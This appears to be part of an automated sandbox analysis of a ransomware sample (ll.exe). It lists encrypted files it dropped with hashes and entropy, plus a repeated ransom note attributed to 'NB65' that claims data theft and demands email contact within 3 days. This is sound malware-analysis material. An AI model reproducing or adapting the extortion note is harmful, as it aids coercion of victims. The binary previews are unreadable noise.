Preview:......O.F5w..<...8.I...(@.'.....F\u6.;|.L.....B.;6w ..a....F+....C.......%V..E.SQ^....9..x ..;..[.:4.d..9....05Z]..7Zi....0........q...N2...f_...*....13..S..B.X+.'vy..iX<+..`....j.1.....YU......;..R.0...C..3.2G..5........9.C?.'.v8..2y..>W.X$............_...L..*N..p?.%.l `o(...rZ..Kr4R.pPz}.....-....dd.Qm.q.Z.//n.U....M&h."...U.c.A!..`T.....D.i...dmRGM`....).!u+.[..6.Y.'.d..nn &..vMO+..QI'...'l.A.....e..,.Am.yl.GUM.v.&....l.P..l;1`......<...K.6t.vd2.B.\..EZ.8..Wp.$.5#|..p........l._...O'ux.C.lw....`y0A..Xc.b'I<....d..1. .....m.M....Z.\%...0v..m.i...........U&.K ..R=......Ui.".-....U`.3......].[...D~..5CF{..U..".$..I..g....ZS*+:d(H@....F......](l~T.{.W...lg..4tQ%.z)....T.}.P.......%a......S....p.."..v..*.V{nwd...n.>9.: ......R#.L...p..f|{.......sl....lY4....._.jo.[/....7".CX$.Qq...G.O......D.....1L..O..fs ..P..aJ....5.j.Uk?..3C.'.J.-|.$l.....K0...TsnNP.g(.hJ.B~xi..Y..?............$......x.[../,.$..u".p..;j.@...w.(.-/)...E.....4.......

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\OSMMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1657
Entropy (8bit):7.879862466180648
Encrypted:false
SSDEEP:
MD5:B3544BBA02865C2FC03EBE0447A17318
SHA1:41E36F4D79FFFE33740495D23BDF4A47DAAF8E7F
SHA-256:FA50CA5681334F56BAB447FCA50745C5A22044275F79997956FD56E4130F99E1
SHA-512:326E91F3577BB134DA763B6B59DA6D98B776EE55DAECBD748E91D76C028202DC473826FF77BE1A6B16919031669141B8DD5311A9E029AE2074FAD9EBD4E3E21E
Malicious:false
Preview:...ut...@...".P....w..v.2|`...v..O..y....Cx-V..i@.S. .r.zV..%..W..l..;...L.J..L...>..W.8}ZPkO.6N'.....Op;E.....j.i=ox`4.(.SQ.$o..'2KK.3..r....z.yA0.p.].-2^.?..2......d....+M...F...j.y.......u..o....0E"P.dY*.uj.....I|.\..X...^. i.......4.......}...H......Z.A ......D0N.....G...U...[.mw.d.nH. .wk..5"..%......_...\..39.&s.....;.s..wz.{...........Z...";.P..j..}....3..#..>......R$..o$..!...-..s#WC..Y........@....|.....,c\....{.....t........hr9^..h]b.D{.....7....|....j..\....~.).U.C .....2.bg.....+..:ri....9.v...+.... ..V.|.BP.w.m.\.Gt.....!|pgS.............6..._Jnk:....V.~....1h"}...f...E....ob.wL.!.?[e...^R.3.kd#...2...pV..S.#.p.Jl.w5.b<..^.p.q..W #...?....m..C.7.:n.u!(.....z.(._,Z...re.:q.)P..p....q..G!...1.. ".f..~....4bZ6A.o(.F.5s!8Z...$..2...[1DE0.E..P.T.....}..d....9.%........E...q....... q<..DM.L+M....r.S.+G.Q\I...!&|p.....U.....C.p.....w.6....,7..krr.|.Iw....q:..]&7.~v..2.......7.]k.f.&.(gk.\.......D....@|.S..r....0.`q.Y.....

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\OSMMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1657
Entropy (8bit):7.879862466180648
Encrypted:false
SSDEEP:
MD5:B3544BBA02865C2FC03EBE0447A17318
SHA1:41E36F4D79FFFE33740495D23BDF4A47DAAF8E7F
SHA-256:FA50CA5681334F56BAB447FCA50745C5A22044275F79997956FD56E4130F99E1
SHA-512:326E91F3577BB134DA763B6B59DA6D98B776EE55DAECBD748E91D76C028202DC473826FF77BE1A6B16919031669141B8DD5311A9E029AE2074FAD9EBD4E3E21E
Malicious:false
Preview:...ut...@...".P....w..v.2|`...v..O..y....Cx-V..i@.S. .r.zV..%..W..l..;...L.J..L...>..W.8}ZPkO.6N'.....Op;E.....j.i=ox`4.(.SQ.$o..'2KK.3..r....z.yA0.p.].-2^.?..2......d....+M...F...j.y.......u..o....0E"P.dY*.uj.....I|.\..X...^. i.......4.......}...H......Z.A ......D0N.....G...U...[.mw.d.nH. .wk..5"..%......_...\..39.&s.....;.s..wz.{...........Z...";.P..j..}....3..#..>......R$..o$..!...-..s#WC..Y........@....|.....,c\....{.....t........hr9^..h]b.D{.....7....|....j..\....~.).U.C .....2.bg.....+..:ri....9.v...+.... ..V.|.BP.w.m.\.Gt.....!|pgS.............6..._Jnk:....V.~....1h"}...f...E....ob.wL.!.?[e...^R.3.kd#...2...pV..S.#.p.Jl.w5.b<..^.p.q..W #...?....m..C.7.:n.u!(.....z.(._,Z...re.:q.)P..p....q..G!...1.. ".f..~....4bZ6A.o(.F.5s!8Z...$..2...[1DE0.E..P.T.....}..d....9.%........E...q....... q<..DM.L+M....r.S.+G.Q\I...!&|p.....U.....C.p.....w.6....,7..krr.|.Iw....q:..]&7.~v..2.......7.]k.f.&.(gk.\.......D....@|.S..r....0.`q.Y.....

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2572
Entropy (8bit):7.928420292214516
Encrypted:false
SSDEEP:
MD5:37A3CBBFD9CB5BE58799837F33B5140B
SHA1:92C8C285ADEC1EF3CAB6A688A88466230CF70C14
SHA-256:3A1E5059F9DA3A0AFEC24CF8BEC20FF331B8B5AF36F326EE93ABDEE64CF6257B
SHA-512:7AD8CA71C9BA01BFFA030B25C2A8FB8DDFF06ED1AE0C758C2949CB1C428573C2B9D05457067DDFDEBEBC6D49D4958648862A78A92B3FA45B2FEB0DA8BF92F150
Malicious:false
Preview:-..,\2)@.B.s@..nmr.a..yh......>%................k....;..c....r$..8A...8..u..q...m...v..-...I+K@Y..d..5Ak\L..t.e.....-{E....?..=!y.^.X....H.on.j../G{p.6.?..)Jn.\.......Da.X.3S..wh....<..a......./..W*%..Y..K,iB......z.=..'............`u.....QD.lYY`.t.Oz....5.:.e#.z,n...q.~..s_<..<E......HM.K"..o..."..(.OZ...P...b..........C.ORt=VA.....G.1.....$n1....V.........y...n.^..k..Y#............0*{......:.{'}.)c.....&?%b...q.U...B2.7#g......m..0.............u%._.....=.^t..p.......6.....D.).ou......;....P...EA.iF2...aI...O..>......T.Pq....&Q.7kY.2Ew:.....d.r`S.....5.Q8.f.?.%.O%.gj.O..q...O..CQ&.B...:..E..0.IO<...XUKOrSc~w0b..._..]...D.....%{@.z9|.r..].7..Cm&b.........*.Uy.tdB..."...k......F...;8$L.2~.h.O..|..).i.t.....k.. ).k.|.=k.L .|.......MZv.*..).u{[..AP..a..Om.qc.......Z..f..3.....}..J.....W%..{2Uz<.d.=RZa,}.}.|Tr... .Mc}...w.......4&.e.WU...}s`F...u.X:.._..R...6s...y.I.-.dK.j..?.+ou...'t....=*?$...}.g..}...3..}.Y]~.....oM...G.......&.^...w.

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2572
Entropy (8bit):7.928420292214516
Encrypted:false
SSDEEP:
MD5:37A3CBBFD9CB5BE58799837F33B5140B
SHA1:92C8C285ADEC1EF3CAB6A688A88466230CF70C14
SHA-256:3A1E5059F9DA3A0AFEC24CF8BEC20FF331B8B5AF36F326EE93ABDEE64CF6257B
SHA-512:7AD8CA71C9BA01BFFA030B25C2A8FB8DDFF06ED1AE0C758C2949CB1C428573C2B9D05457067DDFDEBEBC6D49D4958648862A78A92B3FA45B2FEB0DA8BF92F150
Malicious:false
Preview:-..,\2)@.B.s@..nmr.a..yh......>%................k....;..c....r$..8A...8..u..q...m...v..-...I+K@Y..d..5Ak\L..t.e.....-{E....?..=!y.^.X....H.on.j../G{p.6.?..)Jn.\.......Da.X.3S..wh....<..a......./..W*%..Y..K,iB......z.=..'............`u.....QD.lYY`.t.Oz....5.:.e#.z,n...q.~..s_<..<E......HM.K"..o..."..(.OZ...P...b..........C.ORt=VA.....G.1.....$n1....V.........y...n.^..k..Y#............0*{......:.{'}.)c.....&?%b...q.U...B2.7#g......m..0.............u%._.....=.^t..p.......6.....D.).ou......;....P...EA.iF2...aI...O..>......T.Pq....&Q.7kY.2Ew:.....d.r`S.....5.Q8.f.?.%.O%.gj.O..q...O..CQ&.B...:..E..0.IO<...XUKOrSc~w0b..._..]...D.....%{@.z9|.r..].7..Cm&b.........*.Uy.tdB..."...k......F...;8$L.2~.h.O..|..).i.t.....k.. ).k.|.=k.L .|.......MZv.*..).u{[..AP..a..Om.qc.......Z..f..3.....}..J.....W%..{2Uz<.d.=RZa,}.}.|Tr... .Mc}...w.......4&.e.WU...}s`F...u.X:.._..R...6s...y.I.-.dK.j..?.+ou...'t....=*?$...}.g..}...3..}.Y]~.....oM...G.......&.^...w.

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\OSMUXMUI.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4231235
Entropy (8bit):7.999826754548407
Encrypted:true
SSDEEP:
MD5:BAA0593644D9F2A5746EAFCAC919F3B9
SHA1:B84BCF58384435EA963AE31932FD6B138A16E6DF
SHA-256:D4E00263910AAB588871DA9F5CB186F73FD1B4C1B0FD782A81C1C90583B09BBA
SHA-512:54EDA0111B6496B53ED613BE5A8A60EA64374BE00F764512ED182067C595208922F34942D7106DBDB6BEF4E4CBC0122D04C4CC29E6D1E7D970FDC3284E277563
Malicious:true
Preview:.]MG=.....pJ..,*....uH....p..f3C...{h......e...wE.NY=..~.F.:..A...~..oEu7...,K..(...-.m4.....u.4.y..X.2.4......B.M@w.5..2 .#W~..@.pF...>.7.<.G..S..$...y.{..8..~.m..5.IC.....m.w....f.w..,......{c..l....}.o..&.......'.I...+..n...E..c....,i...O./~.p..{.S....S./:.E......]GC...q...w]..........<......?.p.i.O..w..M.g..cAn.X[..L.:..<.0Fr7.j+E_./.L..g....nU..J=0.c4....P....W.:..@{.L..R.G...e.l....\~hc...k.{.."...!.-5..P...(D{.j6.....}.A&+c.2R.f.b+.yQ.......j\.:@............6.%i. Z.7.c...b.I.7.X|.:..YAN.....|L...A/`J..yp`..A..f\.9e5CU.L....!.7.L..A@.W'.G.o.`.@<.../`......Y..l.+6...@.J..#..V.....{....#.D..%.Y)...$.!..Uly..c..g...\..\.,.1S..}.....0.`.a...y.H..pX.....n..G..;$..h....\...NY..d.9.t.\.........F...Q....&|....p.]...f>...(.......]......k..\Ls......PH3.O.%...Y..v.<..gQKS..KUzQ._.'......<........C..v...n<.l.I...9=....F..c..DM4..d..6.CNN.....5."..\.C&.h...Z......{...c...[...A?....{...(.E.V..b.(D......wj....y..w].[0.W.....1..>.$k....Ic..2.

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\OSMUXMUI.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):4231235
Entropy (8bit):7.999826754548407
Encrypted:true
SSDEEP:
MD5:BAA0593644D9F2A5746EAFCAC919F3B9
SHA1:B84BCF58384435EA963AE31932FD6B138A16E6DF
SHA-256:D4E00263910AAB588871DA9F5CB186F73FD1B4C1B0FD782A81C1C90583B09BBA
SHA-512:54EDA0111B6496B53ED613BE5A8A60EA64374BE00F764512ED182067C595208922F34942D7106DBDB6BEF4E4CBC0122D04C4CC29E6D1E7D970FDC3284E277563
Malicious:true
Preview:.]MG=.....pJ..,*....uH....p..f3C...{h......e...wE.NY=..~.F.:..A...~..oEu7...,K..(...-.m4.....u.4.y..X.2.4......B.M@w.5..2 .#W~..@.pF...>.7.<.G..S..$...y.{..8..~.m..5.IC.....m.w....f.w..,......{c..l....}.o..&.......'.I...+..n...E..c....,i...O./~.p..{.S....S./:.E......]GC...q...w]..........<......?.p.i.O..w..M.g..cAn.X[..L.:..<.0Fr7.j+E_./.L..g....nU..J=0.c4....P....W.:..@{.L..R.G...e.l....\~hc...k.{.."...!.-5..P...(D{.j6.....}.A&+c.2R.f.b+.yQ.......j\.:@............6.%i. Z.7.c...b.I.7.X|.:..YAN.....|L...A/`J..yp`..A..f\.9e5CU.L....!.7.L..A@.W'.G.o.`.@<.../`......Y..l.+6...@.J..#..V.....{....#.D..%.Y)...$.!..Uly..c..g...\..\.,.1S..}.....0.`.a...y.H..pX.....n..G..;$..h....\...NY..d.9.t.\.........F...Q....&|....p.]...f>...(.......]......k..\Ls......PH3.O.%...Y..v.<..gQKS..KUzQ._.'......<........C..v...n<.l.I...9=....F..c..DM4..d..6.CNN.....5."..\.C&.h...Z......{...c...[...A?....{...(.E.V..b.(D......wj....y..w].[0.W.....1..>.$k....Ic..2.

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\OSMUXMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1992
Entropy (8bit):7.888862886515418
Encrypted:false
SSDEEP:
MD5:9E4252BD25F91499994D1904828C490C
SHA1:5817121A5D3AAD3B2E96634A23D32A6C51371E1C
SHA-256:5D13C705856CE830879881366BA5076BAEC5795BD1102ECCF19B8EBF490D8A29
SHA-512:82731F3BC317006147FCC89916B70B0A884AE757CDAA5B14F46AA600602D32FE474964CFF40B25710533BCE8C5FBBE4B97A6030CEF1E3007B87CD3CF658BC8CE
Malicious:false
Preview:.>.E..(?.~..W..OX....K...-......W.u.....x.7.R..K{q.....U........E..;~....p?.T.U.t.f^y....z.L...dTl|-w.....G..P.3.2de..m..g<L...B&\...wo....N.|j.].............wL...V.M*.u.6.f4@.....,.........l?la;.......2.-..H'$...^.R.K*Q.........#.....X....8(M'"=.R.Y.;..\/w.......B..2.....k'..},tT''......T.j|?J..F.[...X.@...e..oG;.p.4..'O..f.F":`..jH..e....3.J..$.....e....U........p......%[FH>9.....*y>.N..8...rTf{G[..R.i0K../.....lY..s].....u.o..b....u......1..wi.K.V.'..jQm\...h}..|xFZsM.Z9T..V..IW.M-......g....z&.=(...k.j.|.fG....Lv.P.Z.M.f.9.....-.....s.......;Kb..M.A#.t..>.E.....X`..e...+.s...98....+A(..T9HWb@%.V.'X....P.>..u;O!V.o...y..f.\ .V..6.Z...L...i@.).u. j...b.?../..jj.3|..jJ.v#.j.....[{..;.y.!v.M...7.......}...~...[..'.H\..xTn1P._.?..\-...9.Y..".)..}...o.~.dIK.sn.....s?..u.A...;....j*..VH0..05.[.......9-.C.........._Y..:....".......AdS......L.....qhA...+.]...8.w..P..q...y..2............r.C.....p.@....b/..M.;...3\#a.F\...9o........

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\OSMUXMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1992
Entropy (8bit):7.888862886515418
Encrypted:false
SSDEEP:
MD5:9E4252BD25F91499994D1904828C490C
SHA1:5817121A5D3AAD3B2E96634A23D32A6C51371E1C
SHA-256:5D13C705856CE830879881366BA5076BAEC5795BD1102ECCF19B8EBF490D8A29
SHA-512:82731F3BC317006147FCC89916B70B0A884AE757CDAA5B14F46AA600602D32FE474964CFF40B25710533BCE8C5FBBE4B97A6030CEF1E3007B87CD3CF658BC8CE
Malicious:false
Preview:.>.E..(?.~..W..OX....K...-......W.u.....x.7.R..K{q.....U........E..;~....p?.T.U.t.f^y....z.L...dTl|-w.....G..P.3.2de..m..g<L...B&\...wo....N.|j.].............wL...V.M*.u.6.f4@.....,.........l?la;.......2.-..H'$...^.R.K*Q.........#.....X....8(M'"=.R.Y.;..\/w.......B..2.....k'..},tT''......T.j|?J..F.[...X.@...e..oG;.p.4..'O..f.F":`..jH..e....3.J..$.....e....U........p......%[FH>9.....*y>.N..8...rTf{G[..R.i0K../.....lY..s].....u.o..b....u......1..wi.K.V.'..jQm\...h}..|xFZsM.Z9T..V..IW.M-......g....z&.=(...k.j.|.fG....Lv.P.Z.M.f.9.....-.....s.......;Kb..M.A#.t..>.E.....X`..e...+.s...98....+A(..T9HWb@%.V.'X....P.>..u;O!V.o...y..f.\ .V..6.Z...L...i@.).u. j...b.?../..jj.3|..jJ.v#.j.....[{..;.y.!v.M...7.......}...~...[..'.H\..xTn1P._.?..\-...9.Y..".)..}...o.~.dIK.sn.....s?..u.A...;....j*..VH0..05.[.......9-.C.........._Y..:....".......AdS......L.....qhA...+.]...8.w..P..q...y..2............r.C.....p.@....b/..M.;...3\#a.F\...9o........

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2988
Entropy (8bit):7.928750213162866
Encrypted:false
SSDEEP:
MD5:F2694EF4F98F2ADE49723A8E2EE43307
SHA1:A0464DD3A1984C41BE74469245A4DF03AEC77EEC
SHA-256:A5E6C237F1CB48CC574F7F20359CEF9F7068FD1DA9361E4E44A412E7520D6969
SHA-512:D8405866235D062F448E7D42A96F68A9E5C37B03EA3E6FE5B84A1AA0B29CBB5390F3B9F08A180ED96A69DA6E12CF7597A6EDB7AEA6E5D64DE5DE94D4934EBDD2
Malicious:false
Preview:..E...v.P.s.9..ts.... D....AjE3..v...-x/.....p,.g.....H.O\p.QH.I....rr[.,.e....9H...p...u.V..|\..K.. As...8.".. ..:.1{......@..-A.?..)/.*q.a..|.R Y\.|."[<...^.W52.b.M..@...p.WR..=.~<l.{sU.(.)5Ws..S.....DeL.........i..x...|...Nwhqd...$.QaA..............e.O<p/...YE..f7....Y..rE..=9./.D.}e$.v[..*..<.z.. .]!PRt.q....(....yS...e..0......~b..3./.VG......U.$....?.|p..mp}...7... oV.W<.T.V....$....O.1.QNC.:l....m.........{.f........S...Nl..p{..6..?...T|.P....=[..g.I0...t5.].s.A..-n.......V_n~..lu........*<X..r%...X.'.'j9.........J+....wW..y..L..Qg.R..7$8ESb.........0..H.b..y.h.pw..E\3/...-.Q.M....p..DD........3x,q|. .Bi.=.rO...5......?bN.t.0......D; t.[..@..!.......ji< n.Y&....x$......\,.2.?..h..1T..}v.Gh1.D[.M.?.r.;....i....Gr..pNh.N.`....b.u2..^.....'.WJ.f....E.(..k.'....d.5b..aKo(..)/%.}J|{.........*N...`}..$.N..@.S.o.P..A..i{+....Hg...~q..U....\SX.......&.,.r..G.o}.5.8.'i5.(.4.b..H....u./....+..H4W..j..9.......M!oD.A/.A'..p.(..83x%.5..3x'....

C:\MSOCache\All Users\{90160000-00E2-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2988
Entropy (8bit):7.928750213162866
Encrypted:false
SSDEEP:
MD5:F2694EF4F98F2ADE49723A8E2EE43307
SHA1:A0464DD3A1984C41BE74469245A4DF03AEC77EEC
SHA-256:A5E6C237F1CB48CC574F7F20359CEF9F7068FD1DA9361E4E44A412E7520D6969
SHA-512:D8405866235D062F448E7D42A96F68A9E5C37B03EA3E6FE5B84A1AA0B29CBB5390F3B9F08A180ED96A69DA6E12CF7597A6EDB7AEA6E5D64DE5DE94D4934EBDD2
Malicious:false
Preview:..E...v.P.s.9..ts.... D....AjE3..v...-x/.....p,.g.....H.O\p.QH.I....rr[.,.e....9H...p...u.V..|\..K.. As...8.".. ..:.1{......@..-A.?..)/.*q.a..|.R Y\.|."[<...^.W52.b.M..@...p.WR..=.~<l.{sU.(.)5Ws..S.....DeL.........i..x...|...Nwhqd...$.QaA..............e.O<p/...YE..f7....Y..rE..=9./.D.}e$.v[..*..<.z.. .]!PRt.q....(....yS...e..0......~b..3./.VG......U.$....?.|p..mp}...7... oV.W<.T.V....$....O.1.QNC.:l....m.........{.f........S...Nl..p{..6..?...T|.P....=[..g.I0...t5.].s.A..-n.......V_n~..lu........*<X..r%...X.'.'j9.........J+....wW..y..L..Qg.R..7$8ESb.........0..H.b..y.h.pw..E\3/...-.Q.M....p..DD........3x,q|. .Bi.=.rO...5......?bN.t.0......D; t.[..@..!.......ji< n.Y&....x$......\,.2.?..h..1T..}v.Gh1.D[.M.?.r.;....i....Gr..pNh.N.`....b.u2..^.....'.WJ.f....E.(..k.'....d.5b..aKo(..)/%.}J|{.........*N...`}..$.N..@.S.o.P..A..i{+....Hg...~q..U....\SX.......&.,.r..G.o}.5.8.'i5.(.4.b..H....u./....+..H4W..j..9.......M!oD.A/.A'..p.(..83x%.5..3x'....

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OffSetLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):16242
Entropy (8bit):7.98948678203108
Encrypted:false
SSDEEP:
MD5:36317E63FD21D02B92EA4FBF730AECAD
SHA1:2DD39C3BF2EE546D5DC6829D1B497E03853D4EEE
SHA-256:8C6DC6F82CBA977A24C1BE5D694E5DCC91F45A4074991B0FDC38746506B4EB16
SHA-512:7136B6D9F7ECFFD5508A3FD544DF85B0416798867CFBE69DD9747552145633DCA1C170CDD0EBEDD7B857F4ACFE1650DF6EC0F19E5C512DCA98B8278E009535C1
Malicious:false
Preview:^m..J....0-I.KY.Z.%..............T...~..pD.L.m.9..0}.AvAt..K]'..{.:......d...q.n.$....-..|`.g3.I..5.tq...D.\...r$..KN.!R.S..w.y....fTz...ku.yI.i...T....N..-GU?.in...R.K......P.x9.QXB.x3.....3......<.Y......[.W.j.XlMWA{.fzf.6...G&.>....KL`U..z..9..3.s..:r.C...k.I..K".>.n...Y;..N+.....~sF(B....Cv..t..R....`........c..f.F*V0.r:mG.l....*..h!....9.......j@.Nn....<...'.a.d..J..5...B.2....[...&.....X....w......<.V.HiB.@..?.].,M._.h..D.......}..?..C.M..A....}.rg...rZra......c.k..*PK.N7S#.Z.=...ks. .7[.1...s2u.....[.&.|.e........|..W4..W.....R..o.E....!.....:......?............*.{x.Ij.Q*..o.BG\...[..y}i.."d\...#.9.......9.p /R.p..r..4..oj.gN.....*X....R......dq..r}.*S.l..k..[a.+AEF..YG=..vzN..?.....H..1E;..7.>...=.h5.L...4.*..V1..._....z..#1T..b/.i{..iF{.Ba....Q.7...4..%~\..?/.j$...0.^F:.........3..$...m(....]..%....v.....S.}.~".B.8tR.,...Z.sZT.$:...&..d.e..|.U.Y.........h.n_bbVLt...0V..F.<.Sk...yU`....d...@.@.....]..>.....s......<.90.l.MJ..F...ns

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OffSetLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):16242
Entropy (8bit):7.98948678203108
Encrypted:false
SSDEEP:
MD5:36317E63FD21D02B92EA4FBF730AECAD
SHA1:2DD39C3BF2EE546D5DC6829D1B497E03853D4EEE
SHA-256:8C6DC6F82CBA977A24C1BE5D694E5DCC91F45A4074991B0FDC38746506B4EB16
SHA-512:7136B6D9F7ECFFD5508A3FD544DF85B0416798867CFBE69DD9747552145633DCA1C170CDD0EBEDD7B857F4ACFE1650DF6EC0F19E5C512DCA98B8278E009535C1
Malicious:false
Preview:^m..J....0-I.KY.Z.%..............T...~..pD.L.m.9..0}.AvAt..K]'..{.:......d...q.n.$....-..|`.g3.I..5.tq...D.\...r$..KN.!R.S..w.y....fTz...ku.yI.i...T....N..-GU?.in...R.K......P.x9.QXB.x3.....3......<.Y......[.W.j.XlMWA{.fzf.6...G&.>....KL`U..z..9..3.s..:r.C...k.I..K".>.n...Y;..N+.....~sF(B....Cv..t..R....`........c..f.F*V0.r:mG.l....*..h!....9.......j@.Nn....<...'.a.d..J..5...B.2....[...&.....X....w......<.V.HiB.@..?.].,M._.h..D.......}..?..C.M..A....}.rg...rZra......c.k..*PK.N7S#.Z.=...ks. .7[.1...s2u.....[.&.|.e........|..W4..W.....R..o.E....!.....:......?............*.{x.Ij.Q*..o.BG\...[..y}i.."d\...#.9.......9.p /R.p..r..4..oj.gN.....*X....R......dq..r}.*S.l..k..[a.+AEF..YG=..vzN..?.....H..1E;..7.>...=.h5.L...4.*..V1..._....z..#1T..b/.i{..iF{.Ba....Q.7...4..%~\..?/.j$...0.^F:.........3..$...m(....]..%....v.....S.}.~".B.8tR.,...Z.sZT.$:...&..d.e..|.U.Y.........h.n_bbVLt...0V..F.<.Sk...yU`....d...@.@.....]..>.....s......<.90.l.MJ..F...ns

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11707400
Entropy (8bit):7.999952525573946
Encrypted:true
SSDEEP:
MD5:22F4F8098E63988B9039276B1DFE3EC8
SHA1:3AB7572842A7BA4C3EBCA81B2ADF4BF5F4536FD8
SHA-256:2AFD730FFF86D2BDA0E4F7A652E4F15CF6AFBE6DB4A181511E66BB7AFD927371
SHA-512:0374C181D99AE80E264F233D2EB81C4AC7FC86E5DB4575C882F13040F18B1C6340D4C2BA6A107BBABCE20A967DDDB66A45FE9682196F6FD96FA45ECA86D9A337
Malicious:true
Preview::..I..m...f.....De...Y#.....Z..(.?......W._.....l......c..L..}<^.J....{i..5......G..T..`0:r.XZ.?.$.i.....1:,.T..Ah..R.(.k\l.7..h...S.h.0HQ..2.x..,."dRr.....k...s$y.....Z..........v.:.k...5.2:{A...........cX.M.T...F."h.wJ..P!..X..7.HX[H4...#...h...H..eR.w.@..p...gC..L:4.f.k9E..[...[}x#d.........l\'.5...(.g..%`...?.....6...^OWr-....Tz9 .....5.Rpr..a..>.O......r.%.`C..-la..(.....Q..`d.l....a...U.O.`.q.EI.a*.$....6....$P.3..c...U$..Nqn."..q....$.a\hp.bN<..h..V...*.O.9[!N....~....+'K.V#..9...MM..7/..,..'....,.J.ps...y..FvY..U-...!j.^..G.Z..]c`;..5.0...'.w..f...,.}....W..<.T..1..+.H..|.F..:...4=,..{?_.....CO...%5....Tgvr...s..D.,k...kw.[.6...v..f.4h...;...y-........<[...X.|..a.,....f...!T...s.C......{.N.P....6...?.QG9.nF..>...U*\...a...u&.S.|.....#R.....zx......i3.D......AK[.h..nm...&..f.&...qg...qKPR...*PF....KR.G......B.cD9._.....6.....i....>.h.r/].rzS.U.w...].Un.&O......U..........M.V.\.x..[2...E..3....#.O......l]..\5dJE.D...T.(_G....

C:\MSOCache\All Users\{90160000-0115-0409-0000-0000000FF1CE}-C\OfficeLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11707400
Entropy (8bit):7.999952525573946
Encrypted:true
SSDEEP:
MD5:22F4F8098E63988B9039276B1DFE3EC8
